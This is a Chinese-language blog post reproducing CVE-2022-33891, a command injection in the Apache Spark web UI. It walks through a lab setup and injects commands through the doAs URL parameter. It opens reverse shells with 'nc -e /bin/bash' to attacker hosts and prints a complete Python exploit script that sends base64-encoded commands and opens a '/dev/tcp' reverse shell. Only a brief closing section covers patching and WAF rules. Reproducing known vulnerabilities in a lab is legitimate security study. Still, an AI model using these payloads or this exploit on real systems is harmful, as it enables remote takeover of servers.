• [ 漏洞复现篇 ] Apache Spark 命令注入(CVE-2022-33891)


    🍬 博主介绍

    👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
    ✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
    🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
    🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
    🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

    一、漏洞编号

    CVE-2022-33891
    
    • 1

    二、影响版本

    Apache spark version<=3.0.3
    3.1.1=<Apache spark 版本<=3.1.2
    Apache Spark version>= 3.3.0
    
    • 1
    • 2
    • 3

    三、环境搭建

    下载编译包3.0.3版本

    下载spark3.0.3编译包:

    https://archive.apache.org/dist/spark/spark-3.0.3/spark-3.0.3-bin-hadoop3.2.tgz
    
    • 1

    linux直接用wget下载

    wget https://archive.apache.org/dist/spark/spark-3.0.3/spark-3.0.3-bin-hadoop3.2.tgz
    
    • 1

    在这里插入图片描述
    在这里插入图片描述

    解压编译包:

    下载编译包之后,解压编译包

    tar -zxvf spark-3.0.3-bin-hadoop3.2.tgz
    
    • 1

    在这里插入图片描述

    名字太长了,给他改个名字,就用mv命令改吧

    mv spark-3.0.3-bin-hadoop3.2 spark-local
    
    • 1

    在这里插入图片描述

    切换到解压包目录下
    cd spark-local
    在这里插入图片描述

    执行:

    启动 Apache spark 项目(需要开启spark.acls.enable)

    ./bin/spark-shell --conf spark.acls.enable=true
    
    • 1

    在这里插入图片描述

    打开连接即可

    启动服务后,会有web页面的地址,打开即可,可看上面的那张图片

    http:ip:4040
    
    • 1

    在这里插入图片描述

    四、代码注入漏洞复现:

    复现步骤

    在url后拼接如下命令即可

     ?doAs=`要执行的命令`
    
    • 1

    执行whoami

    http://192.168.13.133:4040/jobs/?doAs=`whoami`
    
    • 1

    发现页面无回显,无法验证漏洞的存在,尝试创建文件来进行验证
    在这里插入图片描述

    创建txt文件

    http://192.168.13.131:4040/jobs/?doAs=`touch%20/a.txt`
    
    • 1

    页面依然没有回显。
    在这里插入图片描述

    去后台查看,发现a.txt已经被创建,发现代码被成功执行,也就是说存在该漏洞。
    验证了漏洞存在,我们尝试getshell

    在这里插入图片描述

    五、Getshell

    把命令换位反弹shell命令就ok了

    反弹一

    nc(windows)与nc(靶机kali)的方向连接反弹shell

    环境

    我用本机windows攻击机攻击靶机kali
    靶机kali的ip:192.168.13.131
    在这里插入图片描述

    Windows攻击机的ip:192.168.13.1
    在这里插入图片描述

    攻击机关闭防火墙
    在这里插入图片描述

    攻击机监听

    ./nc.exe -lvvp 55555
    
    • 1

    在这里插入图片描述

    靶机上连接

    连接命令

    nc -e /bin/bash 192.168.13.1 55555
    
    • 1

    代码注入到url中进行访问

    http://192.168.13.131:4040/jobs/?doAs=`nc -e /bin/bash 192.168.13.1 55555`
    
    • 1

    访问该链接,页面无回显,但是靶机已经在连接我们的攻击机了

    在这里插入图片描述

    反弹shell成功

    查看攻击机变化,发现已经连接成功了,但是没有获取到计算机名
    刚开始看到下面这个界面我还以为shell没有反弹过来,所以有了反弹二
    在这里插入图片描述
    在这里插入图片描述

    执行ifconfig,发现正是靶机kali的ip

    反弹二:

    同样采用反向反向

    环境

    这里我把攻击机换成了同网段的另一台虚拟机centos7
    靶机kali的ip:192.168.13.131
    在这里插入图片描述

    攻击机centos的ip:192.168.13.133
    在这里插入图片描述

    攻击机centos7关闭防火墙
    查看防火墙状态,发现状态是“active(running)”是开启的。

    systemctl status firewalld.service
    
    • 1

    在这里插入图片描述

    在命令行中输入以下命令,进行关闭防火墙

    systemctl stop firewalld.service。
    
    • 1

    我的centos7安装了图形化界面,需要身份认证才能完成操作
    命令行界面我不太清楚要不要身份认证
    在这里插入图片描述

    然后再使用命令查看状态

    systemctl status firewalld.service
    
    • 1

    状态为disavtive(dead)就说明防火墙已经关闭。

    在这里插入图片描述

    攻击机监听

    nc -lvvp 44444
    
    • 1

    在这里插入图片描述

    靶机连接

    连接命令

    nc -e /bin/bash 192.168.13.1 44444
    
    • 1

    代码注入到url中进行访问

    http://192.168.13.131:4040/jobs/?doAs=`nc -e /bin/bash 192.168.13.1 44444`
    
    • 1

    访问该链接,页面无回显,但是靶机已经在连接我们的攻击机了

    在这里插入图片描述

    反弹shell成功

    执行ifconfig,发现正是靶机kali的shell

    在这里插入图片描述

    在这里插入图片描述

    六、使用POC复现

    前面我们是使用手工进行复现,但是这个漏洞的POC是已经公开的,我们采用POC进行复现

    环境

    我的靶机换成了centos7,攻击机换成了kali
    攻击机:kali:192.168.13.131
    靶机:centos:192.168.13.133

    利用POC手工Getshell

    攻击机监听

    nc lvvp 55555
    
    • 1

    在这里插入图片描述

    靶机连接
    使用POC验证是否存在漏洞(如下表示存在该漏洞)

    python3 CVE-2022-33891POC.py -u http://192.168.13.133 -p 4040  
    
    • 1

    在这里插入图片描述

    手工输入反弹shell命令

    nc -e /bin/bash 192.168.13.131 55555 
    
    • 1

    在这里插入图片描述
    攻击机getshell
    在这里插入图片描述

    执行ifconfig发现正是靶机centos的shell
    在这里插入图片描述

    利用POC自动Getshell

    攻击机监听

    nc -lvvp 22222
    
    • 1

    在这里插入图片描述

    靶机连接

    利用POC验证漏洞存在,并自动输入反弹shell命令

    python3 CVE-2022-33891POC.py -u http://192.168.13.133 -p 4040 --revshell -lh 192.168.13.131 -lp 22222
    
    • 1

    在这里插入图片描述

    利用POC手工进行反弹时这个位置是需要我们手工输入命令的
    而利用POC自动输入命令,我们直接回车就好了
    在这里插入图片描述
    在这里插入图片描述

    攻击机getshell

    输入ifconfig发现正是靶机centos的shell
    在这里插入图片描述

    POC

    #!/usr/bin/env python3
    import requests
    import argparse
    import base64
    import datetime
    ​
    parser = argparse.ArgumentParser(description='CVE-2022-33891 Python POC Exploit Script')
    parser.add_argument('-u', '--url', help='URL to exploit.', required=True)
    parser.add_argument('-p', '--port', help='Exploit target\'s port.', required=True)
    parser.add_argument('--revshell', default=False, action="store_true", help="Reverse Shell option.")
    parser.add_argument('-lh', '--listeninghost', help='Your listening host IP address.')
    parser.add_argument('-lp', '--listeningport', help='Your listening host port.')
    parser.add_argument('--check', default=False, action="store_true", help="Checks if the target is exploitable with a sleep test")
    ​
    args = parser.parse_args()
    ​
    full_url = f"{args.url}:{args.port}"
    ​
    ​
    def check_for_vuln(url):
      print("[*] Attempting to connect to site...")
      r = requests.get(f"{full_url}/?doAs='testing'", allow_redirects=False)
      if r.status_code != 403:
          print("[-] Does not look like an Apache Spark server.")
          quit(1)
      elif "org.apache.spark.ui" not in r.content.decode("utf-8"):
          print("[-] Does not look like an Apache Spark server.")
          quit(1)
      else:
          print("[*] Performing sleep test of 10 seconds...")
          t1 = datetime.datetime.now()
          run_cmd("sleep 10")
          t2 = datetime.datetime.now()
          delta = t2-t1
          if delta.seconds < 10:
              print("[-] Sleep was less than 10. This target is probably not vulnerable")
          else:
              print("[+] Sleep was 10 seconds! This target is probably vulnerable!")
          exit(0)
    ​
    ​
    def cmd_prompt():
      # Provide user with cmd prompt on loop to run commands
      cmd = input("> ")
      return cmd
    ​
    ​
    def base64_encode(cmd):
      message_bytes = cmd.encode('ascii')
      base64_bytes = base64.b64encode(message_bytes)
      base64_cmd = base64_bytes.decode('ascii')
      return base64_cmd
    ​
    ​
    def run_cmd(cmd):
      try:
          # Execute given command from cmd prompt
          #print("[*] Command is: " + cmd)
          base64_cmd = base64_encode(cmd)
          #print("[*] Base64 command is: " + base64_cmd)
          exploit = f"/?doAs=`echo {base64_cmd} | base64 -d | bash`"
          exploit_req = f"{full_url}{exploit}"
          print("[*] Full exploit request is: " + exploit_req)
          requests.get(exploit_req, allow_redirects=False)
      except Exception as e:
          print(str(e))
    ​
    ​
    def revshell(lhost, lport):
      print(f"[*] Reverse shell mode.\n[*] Set up your listener by entering the following:\n nc -nvlp {lport}")
      input("[!] When your listener is set up, press enter!")
      rev_shell_cmd = f"sh -i >& /dev/tcp/{lhost}/{lport} 0>&1"
      run_cmd(rev_shell_cmd)
    ​
    def main():
    ​
      if args.check and args.revshell:
          print("[!] Please choose either revshell or check!")
          exit(1)
    ​
      elif args.check:
          check_for_vuln(full_url)
    ​
      # Revshell
      elif args.revshell:
          if not (args.listeninghost and args.listeningport):
              print("[x] You need a listeninghost and listening port!")
              exit(1)
          else:
              lhost = args.listeninghost
              lport = args.listeningport
              revshell(lhost, lport)
      else:
          # "Interactive" mode
          print("[*] \"Interactive\" mode!\n[!] Note: you will not receive any output from these commands. Try using something like ping or sleep to test for execution.")
          while True:
              command_to_run = cmd_prompt()
              run_cmd(command_to_run)
    ​
    ​
    if __name__ == "__main__":
      main()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102

    七、漏洞修复

    1.建议升级到安全版本,参考官网链接:
    https://spark.apache.org/downloads.html
    2.安全设备路径添加黑名单或者增加WAF规则(临时方案)。

    八、相关资源

    CVE-2022-33891POC Apache Spark 命令注入(CVE-2022-33891)POC
    原文下载

  • 相关阅读:
    【Java每日一题】3.船只安排(贪心算法+双指针)
    Caused by: java.lang.ClassNotFoundException: freemarker.template.Configuration
    基于Java的民宿管理系统设计与实现(源码+lw+部署文档+讲解等)(民宿预约、民宿预订、民宿管理、酒店预约通用)
    docker和虚拟机的异同
    [JavaScript][AJAX]axios拦截器,axios基地址,get与post区别;实现非空判断;e.preventDefault();事件委托
    Spring Boot框架下实现Excel服务端导入导出
    Web前端大作业——城旅游景点介绍(HTML+CSS+JavaScript) html旅游网站设计与实现
    HttpClient远程调用基本使用(详解)
    B2B营销新策略 | B2B企业如何实现产品导向增长目标(附方案下载)
    【Unity3D】高斯模糊特效
  • 原文地址:https://blog.csdn.net/qq_51577576/article/details/126332970